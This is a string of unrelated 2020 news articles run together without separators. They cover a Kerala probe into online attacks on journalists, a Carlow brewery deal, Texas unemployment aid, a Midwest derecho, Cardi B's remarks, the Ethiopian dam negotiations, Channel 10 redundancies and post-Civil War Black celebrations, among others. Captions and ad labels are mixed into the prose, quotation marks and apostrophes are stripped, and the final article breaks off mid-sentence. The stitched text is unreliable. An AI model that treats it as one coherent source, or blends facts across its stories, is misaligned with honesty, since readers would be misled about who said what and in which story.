11 : The Kerala Police on Tuesday began a probe into the complaint given by the Kerala Union of Working Journalists after some mediapersons came under cyber attack for posing inconvenient questions to Chief Minister Pinarayi Vijayan. State Police Chief Loknath Behra said in a statement that the Hi-tech Enquiry Cell and the Police Cyberdome have started the probe. For the past few days a journalist couple working in a TV channel and another woman journalist with a different TV channel had come under unprecedented cyber attacks. The major issue for the attackers seemed to be that these journalists were asking inconvenient questions to Vijayan in particular and the CPI-M in general. This issue was first taken up by Leader of Opposition Ramesh Chennithala who slammed Vijayan's press secretary P.M. Manoj for taking on the journalists, when he is not supposed to indulge in such acts being a government servant. When mediapersons raised the issue with Vijayan on Monday night he said he had no knowledge of what had happened and when specifically asked about Manoj, he pointed out that, "Manoj like many of you is also a journalist." Capacity: Carlow Brewing Company chief Seamus OHara is to add the Boyne Brewhouse drinks to his firms menu. PHOTO: PATRICK BROWNE The owner of the O'Hara's craft beer, the Carlow Brewing Company, has bought a number of brands from the Boyne Brewhouse in Co Louth. Carlow Brewing Company chief executive Seamus O'Hara told the Irish Independent that production of the beers will now move from Drogheda to Co Carlow. The eight acquired products include beers and pre-mixed canned spirits sold under the Glassbox brand. Mr O'Hara said talks to buy the brands from Boyne Brewhouse had been underway prior to the Covid crisis, but that Carlow Brewing was subsequently still keen to proceed with the acquisition. Boyne Brewhouse was founded by the Cooney family, who also own the Boann Distillery at the same location. The business was founded by Pat Cooney in 2015, with an investment of about 20m. Mr Cooney sold his Gleeson Group drinks distribution business to Bulmers owner C&C in 2012 for an enterprise value of 58m, which included 45.6m of debt. Accounts for Harvest Gathering Holdings, a firm behind the Cooneys' distilling and brewing business, show the company generated turnover of almost 13m in its 2019 financial year, and a pre-tax profit of 355,000. It's thought the deal to sell its beer and pre-mixed brands to O'Hara's is part of a plan to enable the family to focus on its distilling business. Its spirits, including whiskeys and a cream liqueur, are sold under The Whistler brand. Mr O'Hara said the Carlow Brewing Company has "plenty of capacity" to brew the brands it's acquiring, which will join a slate of well-known craft beers already produced by the firm. The acquisition was funded from the company's own resources. It employs about 50 people, with some of those still working part-time as a result of the impact from the pandemic. "It's been challenging enough times for the sector," he said of the Covid crisis, adding that about half the Carlow Brewing Company's volume is typically sold in Ireland and half destined for abroad, primarily to markets such as France, Germany and Italy. Domestically, its volumes are usually split evenly between the on-trade and off-trade. He said that volumes had held up reasonably well and recent weeks had seen sales improve further. "We're reasonably well diversified and have a reasonable range of products," he added. "That strategy has benefited us." Apart from acquiring the Boyne Brewhouse brands, he said the O'Hara's maker is also focusing on new product development. He said that people drinking at home had tended to experiment with alternative beers, which has probably helped craft brewers. Mr O'Hara also predicted that the longer-term consequences of the pandemic will be that consumers will pay more attention to local products, which could buoy the sector. Broader beer sales in Ireland fell 17.4pc in the second quarter of this year, according to recent data from the Revenue Commissioners. The majority - almost 63pc - of beer sales here are generated in the on-trade, at pubs, bars and restaurants. Guinness owner Diageo said last week that sales of the stout slumped 22pc in the 12 months to the end of June as they were hit by the pandemic. Some 80pc of stout sales in Ireland are made through the on-trade, according to the Ibec-affiliated Drinks Ireland industry group. It took weeks, if not months, of navigating the overwhelmed unemployment system, but when jobless workers in Texas finally got approved, they received what many considered a living wage, thanks to the emergency federal benefits of $600 a week. They began to catch up on bills. Buy food and clothes theyd neglected for months. Replace their savings. Now, most of that money is gone. The $600 boost which accounted for almost 5 percent of U.S. household income in June, according to a JPMorgan Chase analysis expired July 25 in Texas. A replacement from Congress has yet to materialize. Over the weekend, a new promise for jobless workers was made by President Donald Trump: $400 per week in additional assistance. While the presidents executive memo directs Federal Emergency Management Agency money to help make up the gap left by the expired $600 benefits, state unemployment agencies have no mechanism to distribute the new assistance without violating federal law, experts said. Now Playing: Food is distributed to unemployed people by the organization United Here, a union that represents hospitality workers, during a demonstration outside of Senator John Cornyn's office Tuesday, Aug. 11, 2020, along Memorial Drive in Houston. The demonstration involved a food distribution for unemployed hospitality workers who have watched their $600 benefits expire. Video: Mark Mulligan/Houston Chronicle It could take months before claimants see a dime of the $400. In the meantime, Houston families are struggling to stay afloat on just a few hundred dollars a week. The benefits of Veronica Suarez, a laid-off Hilton server and mother of three, plunged to $280 per week. Her husband, who was laid off from an oil company, has yet to receive any while the Texas Workforce Commission reviews his claim. The rent is $1,800. Theres water, electric and other bills. And their oldest daughter is starting college at Sam Houston University, with tuition coming due. We can pay the first payment, but the next, I dont know its $2,000, and we dont have jobs, she said. The house, the water, the bills its really difficult with three children. Texas has struggled to distribute additional unemployment benefits to workers who lost jobs due to the pandemic as millions of claims overwhelmed the system. When Congress passed the Coronavirus Aid, Relief and Economic Security Act in March, it took several weeks for the Texas Workforce Commission, which manages the states unemployment insurance system, to authorize and begin distributing the additional federal benefits. HARD TIMES: With extra $600 in unemployment set to expire, many face hardship This is going to be harder than the $600 to implement, said Michele Evermore, a senior policy analyst at the National Employment Law Project, a workers advocacy group, of the $400 assistance. I think it could take months. On Monday, the Texas Workforce Commission said in a statement that it is reviewing the presidents memo and will provide information to the public as it becomes available, declining to comment on how long it could take the agency to begin disbursing the assistance. The Department of Labor is expected to provide guidance for states this week. More than 1.8 million Texans are receiving unemployment benefits, according to state data. Its going to crush me In the meantime, many unemployed workers are stressed by the news that theyll have to depend only on state benefits, which replace a fraction of prior salaries. Kathryn Sager, 55, was laid off by American Airlines in June. She was making around $1,000 per week. Now, shes still waiting to be approved for unemployment benefits several weeks after she filed. She expects approval for the maximum amount in Texas $521 per week but that would still leave a significant shortfall. I think its going to crush me, she said of how the layoff will affect her financially. Sager has sold a few things around the house for extra cash a computer monitor she didnt need, for example. As a last resort, she plans to dip into her 401(k) retirement savings if she cant make ends meet. You do what you have to, she said. The pandemic has plunged workers across Texas and the United States into dire financial situations. During the third week of July, 1 in 3 households in Texas missed last months rent or mortgage payment or had no confidence that they could make next months payment, according to a survey by the U.S. Census Bureau. Also, 1 in 6 adults said they sometimes or often didnt have enough to eat in their household in the last seven days, according to the survey. $400 is the new $600 Trumps order directs $44 billion in disaster recovery funds overseen by the Federal Emergency Management Agency to state unemployment agencies for lost wages assistance, to unemployed workers. While not technically an unemployment benefit, the program is intended to combine with state dollars to partially replace the expired $600 per week. Congress has failed to pass a compromise on a second stimulus program that would extend the federal unemployment benefits. Congressional Republicans and the Trump Administration have argued that the $600 per week is too high and undermining the incentive for employees to go back to work a theory that analyses by economists have disputed, but that has nevertheless held up negotiations with Democrats. TEXAS INC: Get the best of business news sent directly to your inbox Under the presidents new directive, workers unemployed due to the pandemic who are receiving at least $100 per week in either state or federal unemployment benefits will be eligible for an additional $300 per week in federal money. Another $100 is supposed to be provided by the state to share the cost of the total $400 per week in assistance The Labor Department, however, said states may opt to count unemployment benefits as the cost share, which means claimants could get only $300 per week in additional funds. Experts said claimants could be waiting for months for the new assistance due to legal and technical hurdles. Only Congress is authorized to fund and approve changes to the unemployment insurance system, so the presidents memorandum could become a headache for state unemployment agencies to implement without violating federal law, experts said. The Texas Workforce Commission will likely have to set up a new, separate program to direct the money to unemployed workers. Legal experts arent even sure whether state unemployment agencies could use the same computer system to process the checks, since the assistance isnt supposed to be considered unemployment, but rather a FEMA relief program. Theyre going to have to figure out a different way to administer (the $400), said Evermore, of the National Employment Law Project. This whole thing is an empty promise because of how hard its going to be for states to actually set up. The administration has tried to calm concerns that the program might not provide immediate relief. In a press briefing Monday, Treasury Secretary Steven Mnuchin said states would be able to deliver the assistance within a week or two. Will everyone be eligible? Workers who qualify for any sort of unemployment compensation will be eligible for the additional assistance, including self-employed workers and independent contractors receiving benefits through the Pandemic Unemployment Compensation or other federal program. But unlike the CARES Act, the presidents memo requires claimants to be getting at least $100 per week in unemployment benefits to qualify (the CARES Act only required $1). In Texas, benefits range from $69 per week to $521 per week, so some may fall below the $100 threshold. Because unemployment benefits can fluctuate week to week, the Texas Workforce Commission will likely have to verify that claimants are eligible to receive the additional $300 or $400 each week. When the assistance begins, the checks will be retroactive from the week ended Aug. 1, which, in Texas, would be the week immediately following the $600 expiration. Labor advocates are still pushing policymakers to reauthorize the expired $600 per week in unemployment benefits. On Tuesday, local unions hosted a food drive outside of Sen. John Cornyns office in Houston to draw attention to the impact of ending the $600 per week benefit, providing groceries and a $50 Visa gift card to 75 unemployed union members in the hospitality industry. A spokesperson for Cornyns office said that the senator supports extending an added federal benefit on top of normal unemployment insurance. Cornyn supported a Republican stimulus package that would have changed the $600 per week benefit to $200 per week, with a plan to transition to providing 70 percent of workers prior wages. A spokesperson did not respond to whether Cornyn supports the presidents wages assistance program. erin.douglas@chron.com Twitter.com/erinmdouglas23 Unusually powerful storms with winds exceeding 100 miles per hour ripped through parts of the Midwest on Monday, knocking out power for about one million customers, downing countless trees and utility poles and flipping cars as they crossed several states within several hours, officials said. Everybody in town is without power except those with a generator, said Mayor Joel Greer of Marshalltown, Iowa, which is about 50 miles northeast of Des Moines. Mr. Greer declared a state of emergency for his city, which is still recovering from a tornado that struck in 2018. It hit us at a time when we were just getting back on our feet, Mr. Greer said. The storms, known collectively as a derecho (pronounced deh-REY-cho), also flooded parts of Marshalltown, knocked down power lines and trees and caused gas leaks, Mr. Greer said. City and county officials were still assessing injuries, a spokeswoman with the Iowa State Patrol said Monday night. Source: Xinhua| 2020-08-11 15:01:15|Editor: huaxia Video Player Close YANGON, Aug. 11 (Xinhua) -- Myanmar earned over 3.31 billion U.S. dollars from agricultural exports in first 10 months of present fiscal year (FY) 2019-2020 which started in October 2019, according to figures released by the Commerce Ministry on Tuesday. This fiscal year's agricultural exports saw a slight increase by over 500 million U.S. dollars, compared to the same period of last fiscal year 2018-2019 when it registered over 2.81 billion U.S. dollars, the ministry's figures showed. As of July 31 of this FY, the country earned over 14.6 billion U.S. dollars from the total exports. During the period, agriculture performed the best in the exports sector, accounting for 22 percent of the total exports, according to the Ministry of Commerce. Rice and broken rice, pulses and beans, and maize are the main items of export in the agricultural sector while fruits and vegetables, sesame, dried tea leaves, sugar and other agricultural products are also exported to other countries. Myanmar mainly exports agricultural products to China, Singapore, Malaysia, the Philippines, Bangladesh, India, Indonesia and Sri Lanka. Enditem Cardi B has called out male rappers for not speaking out about the death of Breonna Taylor. The rapper has said she wishes more men in the industry would call for justice for the 26-year-old paramedic, who was shot dead by police in her home in Louisville, Kentucky, in March. The officers justified entering with a so-called no-knock warrant. Cardi, real name Belcalis Marlenis Almanza, told Elle USA: That is so insane to me. [I saw] Breonna Taylors name everywhere, but I didnt really know her story. What they did to her is really f***ed up. Really f***ed up. Whats the excuse? Why is the cop not in jail? Wasnt what he did a crime? Its a crime! And no apology. No apology. No video of the cop coming out crying, I f***ed up. I dont this. I dont that. Nothing. Its nothing. I dont even know how her mom still holds her head up. Unbelievable. The death of Taylor reminded Cardi of when her own cousin was murdered and she said: I remember everybody waking up at 3 a.m. and driving all the way to New Jersey, to the hospital. And through all that driving, youre crying and scared and everything. Video of the Day She is among a host of high-profile women, including Beyonce, Oprah Winfrey, Olivia Wilde and Sarah Paulson to call for charges to be brought against the officers involved in Taylors murder: Jon Mattingly, Brett Hankison, and Myles Cosgrove and said she wishes she saw more male rappers were speaking out. She said: A woman like Breonna Taylor, she was young. She looked like she was listening to your music. She looked like she was your fan. You should stick up for her. She added: Imagine how frustrated her mom was, crying, probably hysterical. The cops call her saying her daughter is in the hospital, and her daughter is not even there. Then the person whos supposed to protect her is asking her mom, Do you know anybody who [would] want to hurt Breonna Taylor? when you guys know who killed her! Cardi also said she will do whatever it takes to get Democratic challenger Joe Biden elected to unseat Donald Trump, even though she supported Bernie Sanders. She said: Those people that he caters [to], hes not going to do anything for them. Its not like Republicans are getting better housing. Its not like Republicans are getting better benefits. Theyre not. Hes not doing anything for anybody. Hes just saying things that appease the same people. I want a president who makes me feel secure. I want a president who understands the pain of the people. I want a president who is going to give us answers. Thats why I like [New York governor Andrew] Cuomo. I like him because he makes me feel like hes listening to me. She has been calling on her fans to become more engaged in politics away from the presidential level, saying: You can vote for DAs [District Attorneys]. You can vote for mayors. You can vote for your district. Not everything is the president. You know what Im saying? Sometime this month, Egypt, Sudan and Ethiopia will resume the chase for an increasingly hard-to-secure deal on the Grand Ethiopian Renaissance Dam (GERD). The talks, sponsored by the African Union under the chairmanship of South Africa, stumbled this week, yet again, as Sudan announced that it will not go back to the negotiating table unless Ethiopia decides to commit that the talks are meant to reach a legally binding and comprehensive deal on the filling and operation of the dam. Ethiopia, according to earlier accounts by Egyptian and Sudanese sources close to the long and extending talks, has made it a habit of promising to negotiate over one thing but declines to do so just a few days later. This week, according to an informed Egyptian source, Ethiopia decided to yet again walk back on a commitment to negotiate a legally binding agreement on the filling and operation of GERD and decided instead to offer Egyptian and Sudanese delegations a draft set of guidelines on the filling of the remainder of the mega 75 billion cubic metre reservoir. This, the Egyptian source said, is far from being a first. It has been a few months now, he said, that Ethiopia has been saying, sometimes directly and sometimes indirectly, that it is not going to commit to a legally binding agreement. This is not the first draft of guidelines that the Ethiopian delegation has put on the table, he said. The dam has been a source of huge diplomatic tension since its construction began in Ethiopia in 2011. Ethiopia sees the hydroelectric project as crucial for its economic growth and a vital source of energy. But Egypt and Sudan, which are downstream, fear the $4 billion dam will greatly reduce their access to water. Originally, according to the Egyptian and Sudanese understanding, Egypt, Sudan and Ethiopia in the spring of 2015 signed a Declaration of Principles that was designed to grant Ethiopia the consent of the two downstream states on the construction and operation of GERD, so that Addis Ababa could access financial and technical support for its project, in return for an agreement on the filling and operation of GERD and the water rights of both the riparian states. Four years later, during which the three countries held numerous rounds of negotiations that had been hosted in their three capitals, no deal was close at hand. Egypt pressed upon the US to intervene. For four months, starting November 2019, Washington hosted talks for the three countries, with the participation of the World Bank. US President Donald Trump received the delegations and the World Bank representative to push for a deal. The process produced a draft agreement that Egypt initialed in late February. Sudan would not initial the agreement in view of the decision by Ethiopia to miss a crucial meeting. A few months later, as it was becoming clear that the US was too immersed in managing the coronavirus crisis and getting ready for the presidential elections this autumn, Sudan took the initiative to propose a draft based on the draft that was concluded in Washington. Khartoum called for video-conference negotiations that had an inconclusive ending as Ethiopia started to show its reluctance to signing a legally binding agreement. Egypt acted on its plan to pursue the intervention of the UN Security Council (UNSC). Despite strict Ethiopian resistance, Egypt managed, essentially with the support of the US and France, to secure a session. The UNSC meeting called on the three countries to continue to negotiate in good faith. South Africa, in its capacity as the current chair of the African Union, offered to sponsor the talks. Egypt, despite scepticism over the sponsorship of South Africa for fear it is biased towards Ethiopia, agreed to give the pan-African organisation a chance. The wish of Cairo and Khartoum was to reach an agreement before the second half of July when Ethiopia was set to start the first filling with over four billion cubic metres upon the beginning of the rainy season. No agreement was reached; the talks stumbled as Ethiopia declined a comprehensive agreement. Scepticism over the chances of a deal increased despite the good offices of several world capitals. Ethiopia announced the first filling was completed due to the natural swelling of the GERD during a heavy rainy season. Egypt and Sudan expressed dismay but the talks resumed last week. I guess this is becoming more like talks on talks rather than talks on an agreement, a Sudanese political source informed on the GERD talks said. If Ethiopia is not prepared for a legally binding agreement, then what are we actually talking about here? Speaking from Khartoum on the phone, the source said that it is becoming almost pointless to keep on this path if the three countries and the African Union cannot commit, once and for all with no going back, that the purpose of the negotiations is to secure an agreement on the filling and operation of the GERD. According to the informed Egyptian source, the situation is probably worse. He said that he is not seeing any sign that Ethiopia would commit to reaching an agreement and honouring it. According to this source, everything that has been done during the past five years in the pursuit of an agreement seems to have been just a waste of time because it does not seem that Ethiopia wants a deal. This said, neither the Egyptian nor the Sudanese sources excluded the possibility of the resumption of talks. Late Monday afternoon, Addis Ababa announced that the talks are now scheduled for 17 August upon the request of Sudan. The Egyptian source said that this is the tentative date but that it all depended on the kind of reassurances that would be offered to Egypt and Sudan. It could happen, they both said possibly upon a new promise from the president of South Africa that what is at stake is a legally binding deal on the filling and operation. A filling and operation legally binding agreement includes mitigation measures, a dispute settlement mechanism and a clear reference that future development issues will be subject to a consequent negotiations process that could produce an agreement, the Egyptian source said. Then again, he acknowledged, it could well happen that the talks might resume on those bases but could yet again stumble as it is quite likely that Ethiopia would again suggest something that is not in line with what Sudan or Egypt could compromise on. The two countries believe that they have gone very far in accommodating Ethiopia and that Ethiopia is now just engaged in an open-ended process of talks while on the ground it is pursuing its interests irrespective of the impact thereof on the two downstream states. According to the Sudanese source, these endless rounds of talks cannot continue while Ethiopia works its way towards the second filling of close to 20 billion cubic metres by the next wet season. Egypt and Sudan, he said, would have to coordinate their next move. So far, Sudan has declined to join any of the Egyptian initiatives towards putting pressure on Ethiopia. In the spring of this year, Sudan declined to join an Egyptian appeal for an Arab League resolution that demanded that Ethiopia refrain from starting the filling prior to an agreement. In late spring Sudan declined to join Egypt in requesting the UNSC intervention. The argument Khartoum has been making is that it is better to try to win rather than antagonise Ethiopia. Today, the tone in Khartoum is significantly different as there is growing concern over what Ethiopia is really up to and how far its plans would influence Sudans water interests just as Egypt has been entertaining serious concerns over its own water rights. The fact that the two downstream countries are now almost on the same page might put a bit more pressure on Ethiopia. The question, however, is whether it would be strong enough pressure to get Addis Ababa to start engaging seriously in a negotiations process that would lead to an agreement. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: Adam Devine is heading back into shark-infested waters for Shark Week. In 2019, he helped a team of marine experts discover a massive congregation of tiger sharks. For his 2020 Shark Week special, Adam Devines Secret Shark Lair, the actor/comedian is revisiting the shark party to see what its all about. Adam Devine | Hobson/Getty Images Adam Devine tagged a tiger shark in his 2019 Shark Week special For the 2019 Shark Week special, Shark Trip: Eat. Pray. Chum, Devine joined comedians Rob Riggle, Anthony Anderson, and Joel McHale on a shark finding adventure in the Bahamas. During one of his dives, Devine bravely tagged a daunting tiger shark. Shes gorgeous, look at her go, all wiggling away, Devine says after mounting the tag on the shark. Thats one small step for man, one giant leap for shark-kind. RELATED: Shark Week Cameraman Reveals What No Filmmaker Has Been Able to Catch He didnt get much time to train Before his 2019 shark-tagging dive, Devine didnt get the same level of preparation as his co-stars. When talking to Rob Riggle and Joel McHale on Shark After Dark, the actor revealed that he had very little training before making his big shark dive. I was shooting a show, and I had to fly to the Bahamas, said Devine. And then they took me from the airport and I took like a half hour class and then immediately in the ocean with sharks. But this wasnt the first time Devine swam with sharks. While filming his 2015 movie, Mike and Dave Need Wedding Dates, he joined co-star Zac Efron on a shark dive in Hawaii. In an appearance on Jimmy Kimmel Live, Devine revealed that just hours after Efron suggested the two go for a shark dive, they were out on a boat surrounded by Galapagos sharks and tiger sharks. During their excursion, while Devine was on the boat dealing with seasickness, Efron encountered a massive tiger shark. Rather than swim away, Devine said that like Aquaman, Efron grabbed the shark by the fin and rode it for a short distance through the ocean. Adam Devines Secret Shark Lair examines the data from his shark tag According to the Discovery Channels synopsis for his new special, Adam Devines Secret Shark Lair, Devines shark tag led to a major shark discovery. Last year, Adam Devine and a team of marine biologists deployed a CATS camera tag on a massive tiger shark that yielded a surprising scientic discovery; a secret tiger shark lair, the network description teases. Scientists believe this may be the largest congregation of tiger sharks on the planet or in Adams mind, the ultimate shark party. But Devine isnt the only celebrity going on this shark lair adventure. His Workaholics co-stars Anders Holm and Blake Anderson will also join the researchers, as they try to explore this epic tiger shark congregation. The team will examine the tag footage and data to discover whether or not the sharks use this lair for mating, pupping, or feeding. Adam Devines Secret Shark Lair premieres Wednesday, Aug.12, at 9 p.m. ET on the Discovery Channel. New Delhi: Actor Sanjay Dutt has taken a short break from work for medical treatment, read his recent social media post. "Hi, friends. I am taking a short break from work for some medical treatment. My family and friends are with me and I urge my well-wishers not to worry or unnecessarily speculate. With your love and good wishes, I will be back soon," Sanjay Dutt said in his note to fans . The 61-year-old actor was recently admitted to Mumbai's Lilavati Hospital after he complained of breathlessness and uneasiness. He was also tested for coronavirus, the report of which was negative. Sanjay Dutt stayed in the hospital over the weekend and returned home on Monday afternoon. On Saturday night, shortly after being hospitalised, he tweeted, "Just wanted to assure everyone that I'm doing well. I'm currently under medical observation and my COVID-19 report is negative. With the help and care of the doctors, nurses and staff at Lilavati hospital, I should be home in a day or two. Thank you for your well wishes and blessings." Just wanted to assure everyone that Im doing well. Im currently under medical observation & my COVID-19 report is negative. With the help & care of the doctors, nurses & staff at Lilavati hospital, I should be home in a day or two. Thank you for your well wishes & blessings Sanjay Dutt (@duttsanjay) August 8, 2020 On the work front, Sanjay Dutt has several movies in the pipeline, including 'Torbaaz', 'KGF: Chapter 2', 'Sadak 2', 'Bhuj: The Pride Of India' and 'Shamshera'. 'Sadak 2', the sequel to the 1991 hit of the same name, is his upcoming release. The fuilm reunites Sanjay Dutt with Pooja Bhatt and filmmaker Mahesh Bhatt, and also casts Alia Bhatt and Aditya Roy Kapur in pivotal roles. 'Sadak 2' is slated to release on August 28. Channel 10 has sacked at least 25 stars, including Studio 10 host Kerri-Anne Kennerley, journalist Natarsha Belling and legendary weatherman Tim Bailey, in a brutal afternoon of budget cuts. Staff members were informed on Tuesday that the television news department was being 'restructured' in response to the sharp decline in advertising revenue caused by the coronavirus pandemic. Current affairs program The Project, hosted by Waleed Aly, Carrie Bickmore and Peter Helliar, is not affected by the cuts. Job cuts: Channel 10 has sacked several major stars, including Kerri-Anne Kennerley (pictured), Natarsha Belling and weatherman Tim Bailey, as the coronavirus recession continues to devastate the TV industry The changes are expected to be effective from Monday, September 14. Despite losing Kennerley and Belling, morning show Studio 10 will continue to air weekdays from 8am to midday for the time being. Host Sarah Harris and entertainment reporter Angela Bishop are staying, and Denise Drysdale and Denise Scott will continue as contributors. Narelda Jacobs will remain as newsreader and Jono Coleman will present the advertorial segments as normal. Axed: Tim Bailey, who has worked at Channel 10 for three decades, will depart the company Channel 10: Who's staying, who's going and what's changing LEAVING Kerri-Anne Kennerley (panellist, Studio 10) Natarsha Belling (news reporter, Studio 10) Georgina Lewis (newsreader, 10 News First Brisbane) Josh Holt (weather presenter, 10 News First Brisbane) Rebecca Morse (newsreader, 10 News First Adelaide) Kate Freebairn (weather presenter, 10 News First Adelaide) Will Goodings (sports anchor, 10 News First Adelaide) Monika Kos (newsreader, 10 News First Perth) Michael Schultz (weather presenter, 10 News First Perth) Tim Bailey (weather presenter, 10 News First Sydney) Mike Larkan (weather presenter, 10 News First Melbourne) TO BE ANNOUNCED Joe Hildebrand (panellist, Studio 10) STAYING Waleed Aly (host, The Project) Carrie Bickmore (host, The Project) Peter Helliar (host, The Project) Tommy Little (host, The Project) Steve Price (contributor, The Project) Lisa Wilkinson (host, The Project and The Sunday Project) Sarah Harris (host, Studio 10) Angela Bishop (entertainment reporter, Studio 10) Denise Drysdale (contributor, Studio 10) Denise Scott (contributor, Studio 10) Narelda Jacobs (newsreader, Studio 10) Jono Coleman (advertorials presenter, Studio 10) CHANGES Sandra Sully and Matt Burke will host the Sydney and Brisbane bulletins Jennifer Keyte and Stephen Quartermain will host the Melbourne and Adelaide edition Stephen Quartermain will present sport in Melbourne and Adelaide Sports reporters Jonathan Williams in Brisbane and Tim Gossage in Perth will take on expanded roles Advertisement However, the network has advised that more changes will be announced regarding Studio 10 in the coming weeks. Kennerley's manager told Daily Mail Australia in a statement: 'Kerri-Anne's role on Studio 10 was only part-time two or three days a week. Nevertheless she is disappointed to be finishing up in September but understands the financial pressures on the network. She wishes everyone at Network 10 the best.' He added that while Kennerley is departing Studio 10 next month, she remains under contract until December 31, leaving open the possibility of her taking on another role at the network. Meanwhile, fellow panellist Joe Hildebrand hasn't lost his job yet, but is in talks with the network about his future. 'They want to keep him on in some capacity but they haven't fleshed out what that would be,' an insider told Daily Mail Australia. 'To be honest, I don't think they even know. 'Whether or not he would even want to continue is another question entirely.' The source said that Hildebrand 'holds no ill will' against Channel 10 and could even take the opportunity to make a 'clean break' and explore other opportunities in the media. He is already employed as a columnist by News Corp, where he is planning to take on greater responsibilities. 'Ten wants to sort of have their cake and eat it too,' the source said. 'They want to cut the amount of money he costs them but still get to have him on the show somehow or other.' The insider said the news came as a shock to everyone at Studio 10, including the presenters, adding: 'The people who have had to convey the news are mortified. 'I think all this s**t's come from the parent company [ViacomCBS]. They've just run a rule over the thing and said, "Right, you've got to get down to this number." And that's the way they've gone.' As part of the company restructure, the 10 News First weekday operation will be centralised in Sydney and Melbourne, and the network will move to a national weekday weather model fronted by Tim Bailey's to-be-announced replacement. Sydney, Brisbane and Perth will all host their news bulletins out of Sydney, while Melbourne and Adelaide will be based out of Melbourne. Sandra Sully and Matt Burke will host the Sydney and Brisbane bulletins, and Jennifer Keyte and Stephen Quartermain will host the Melbourne and Adelaide edition. A new team will be announced to host the Perth news. Changes: Despite losing Kennerley and Natarsha Belling (pictured), morning show Studio 10 will continue to air weekdays from 8am to midday Marching orders: Belling (right) is pictured here outside Channel 10's Pyrmont headquarters on Tuesday morning, presumably just hours before she was told about her redundancy The career of Channel 10's legendary weatherman Tim Bailey At the age of 19, Tim landed a job at Sydney's popular 2Day FM radio station, where he reported the weather along with surf and snow updates. He went on to host a series of Channel 10 shows, including surfing program NRG, The Big Breakfast and the Vodafone Beach Volleyball Tour. Tim also contributed to the network's coverage of the Commonwealth Games, the Melbourne Cup and Bathurst 1000. Familiar face: Despite his wide-ranging career, Tim Bailey is perhaps best known for being Channel 10's charismatic weather presenter Despite his wide-ranging career, he is perhaps best known for being Channel 10's charismatic weather presenter. He has even been described as 'Australia's most trusted weather man'. Tim actually has a long history of working alongside Kerri-Anne Kennerley, having co-hosted Good Morning Australia with her and Mike Gibson in 1990. Early career: Before joining Channel 10, Tim landed a job at Sydney's 2Day FM radio station at the age of 19. He reported the weather along with surf and snow updates Advertisement Channel 10's network director of news content, Ross Dagan, said in a statement about the job cuts: 'The decision to make these changes was a very difficult one and I want to express my sincere thanks and gratitude to our friends and colleagues who will leave the network. 'It is in no way a reflection of their talent, contribution or passion. They are exceptionally gifted people. We are incredibly proud of them and their work. There is no doubt they will be missed. 'These painful changes reflect the state of the media industry in recent years and the need for all media companies to achieve new efficiencies. 'While our viewers in Brisbane, Adelaide and Perth will see some on-air changes, we will continue to produce local news and employ local reporters, camera operators and production staff in those cities.' Beverley McGarvey, Channel 10's chief content officer, added: 'These decisions are not being made lightly; however, they are essential to future-proofing our business.' The decision to axe 25 staff members comes three months after the broadcaster announced the closure of its news website 10 Daily. Will he stay? Studio 10 panellist Joe Hildebrand (pictured with Kennerley) hasn't lost his job yet, but is in talks with the network about his future Channel 10's full statement 'Network 10 today informed staff about a restructuring of its News and Operations department. As part of the restructuring, the presentation of the weekday 5.00pm to 6.30pm 10 News First bulletins will be centralised in Sydney and Melbourne. Presentation of the weekday Sydney, Brisbane and Perth 5.00pm to 6.30pm news bulletins will take place in Sydney. Presentation of the weekday Melbourne and Adelaide 5.00pm to 6.30pm news bulletins will take place in Melbourne. Network 10 will also move to a national weekday weather model. A new national meteorologist [to replace Tim Bailey] will be announced soon. 10 News First bulletins will remain locally produced and will continue to employ local reporters, news crews and operations staff in Brisbane, Adelaide and Perth. The changes to the Brisbane, Adelaide and Perth weekday news bulletins are expected to be effective from Monday, September 14. National weekend bulletins will not be affected. The Project is not affected. There will also be some changes to the presentation of Studio 10. It will continue to air weekdays from 8.00am to 12.00pm. As a result of the restructuring, some on-air presenters, journalists and operations staff will leave Network 10. The network would like to thank those people for their dedication and hard work. A redundancy program has commenced in Network 10's News and Operations department. No further details are available at this stage.' Advertisement Some of the job cuts will come as a surprise to viewers. Weather presenter Tim Bailey, for example, is considered a legend at the network, and has been a familiar face for more than 30 years. He is being replaced by another meteorologist as Channel 10 moves to a national weekday weather model. Kerri-Anne Kennerley is a more recent hire, having only joined the Studio 10 panel in September 2018. Stay tuned: The network has advised that more changes will be announced regarding Studio 10 in the coming weeks Since then, her controversial views have helped Studio 10 punch above its weight in terms of setting the news agenda. However, her opinions on Aboriginal issues have sparked significant backlash, and a segment from January 2019 was the subject of a complaint to the TV watchdog. In October that year, she made controversial comments about climate change protesters and said she supported tougher sentences. The following month, Kennerley made headlines again when she claimed that her co-host Joe Hildebrand had 'done more drugs than anyone'. Making headlines: Kennerley only joined Studio 10 in September 2018 From Richmond to New York City to Seattle, anti-racist activists are getting results as Confederate monuments are coming down by the dozens. In Richmond, Virginia, protesters have changed the story of Lee Circle, home to a 130-year-old monument to Confederate General Robert E. Lee. Its now a new community space where graffiti, music and projected images turn the statue of Lee from a monument to white supremacy into a backdrop proclaiming that Black Lives Matter. This isnt a new phenomenon. Im a historian of celebrations and protests after the Civil War. And in my research, I have found that long before Confederate monuments occupied city squares, African Americans used those same public spaces to celebrate their history. But those African American memorial cultures have often been overshadowed by Confederate monuments that dominate public space and set in stone a white supremacist story of the past. Black celebrations In the late 19th and early 20th centuries, African Americans had less power and money than whites did to erect statues to celebrate their past. Instead, they challenged white dominance of public space using holidays, parades, conventions, mass meetings and other events. Black people used public celebrations such as Juneteenth to tell a positive story about their history, debate and set political goals for the community, applaud the role of Black soldiers and workers, and create a legacy and cultural identity for Black men, women and children. These community celebrations helped guide Black protests and organizing after the Civil War and continue to inspire activists today. Here are just a few of the ways African Americans challenged white dominance in public spaces: On July 4, 1866, Black people gathered in Richmonds Capitol Square and decorated the statues of George Washington, Thomas Jefferson and George Mason with garlands and flags a radical act that a reporter from the Richmond Dispatch fumed was a liberty which no white man ever yet presumed to take with Virginias great work of art. By claiming the Founding Fathers as their own, African Americans protested against their exclusion from public space and citizenship. Story continues In 1867 Black men and women publicly assembled at a convention in Lexington, Kentucky, where political leader William F. Butler stated, First we ha[d] the cartridge box, now we want the ballot box, and soon we will get the jury box. I dont mean with our fists, but by standing up and demanding our rights. Butler argued that Black men fought to maintain the Union, but we were left without means of protecting ourselves.We need and must have the ballot box for that purpose. A Baltimore procession in May 1870 celebrated the ratification of the Fifteenth Amendment, which guaranteed Black men the right to vote. The event had more than 12,000 participants and 20,000 spectators. Newspapers called the procession vast and magnificent in its appointments, gorgeous in its decorations, and noble in its purposes. Participants carried banners reading, Give us equal rights 